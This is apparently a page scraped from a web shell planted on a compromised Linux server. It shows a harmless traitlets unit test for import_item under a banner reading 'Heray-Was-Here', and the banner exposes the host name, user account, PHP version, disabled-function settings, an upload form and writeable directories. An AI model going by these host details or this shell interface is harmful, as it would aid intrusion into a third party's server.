Heray-Was-Here
Server : Apache
System : Linux vps43555.mylogin.co 3.10.0-1160.53.1.vz7.185.3 #1 SMP Tue Jan 25 12:49:12 MSK 2022 x86_64
User : redsea ( 60651)
PHP Version : 7.4.32
Disable Function : NONE
Directory :  /usr/local/python-3.8/lib/python3.8/site-packages/traitlets/utils/tests/

Upload File :
current_dir [ Writeable ] document_root [ Writeable ]

 

Current File : //usr/local/python-3.8/lib/python3.8/site-packages/traitlets/utils/tests/test_importstring.py
# Copyright (c) IPython Development Team.
# Distributed under the terms of the Modified BSD License.
#
# Adapted from enthought.traits, Copyright (c) Enthought, Inc.,
# also under the terms of the Modified BSD License.
"""Tests for traitlets.utils.importstring."""

import os
from unittest import TestCase

from ..importstring import import_item


class TestImportItem(TestCase):
    def test_import_unicode(self):
        self.assertIs(os, import_item("os"))
        self.assertIs(os.path, import_item("os.path"))
        self.assertIs(os.path.join, import_item("os.path.join"))

    def test_bad_input(self):
        class NotAString:
            pass

        msg = "import_item accepts strings, not '%s'." % NotAString
        with self.assertRaisesRegex(TypeError, msg):
            import_item(NotAString())

Hry